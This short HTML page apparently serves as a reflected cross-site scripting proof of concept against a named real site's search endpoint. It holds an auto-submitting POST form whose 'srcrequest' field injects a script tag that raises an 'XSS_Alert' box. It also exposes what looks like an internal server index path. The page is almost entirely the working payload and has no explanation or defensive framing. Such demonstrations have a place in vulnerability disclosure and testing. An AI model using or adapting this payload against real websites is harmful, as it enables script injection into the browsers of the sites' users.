What is this?
cmd:
SearchForm:
index:
sort:
srcrequest:
submit1:
<form method='post' action='http://search.redmondmag.com/search.asp'> cmd:<input input='text' value='search' name='cmd' style='width:80%' /><br /> SearchForm:<input input='text' value='%%SearchForm%%' name='SearchForm' style='width:80%' /><br /> index:<input input='text' value='C:\dtSearch\rmg\red_all' name='index' style='width:80%' /><br /> sort:<input input='text' value='Date' name='sort' style='width:80%' /><br /> srcrequest:<input input='text' value='"><SCRIPT>alert('XSS_Alert')</SCRIPT>' name='srcrequest' style='width:80%' /><br /> submit1:<input input='text' value='Search' name='submit1' style='width:80%' /><br /> <input type='submit' value='submit' /><br /> </form> <script> document.forms[0].submit() </script>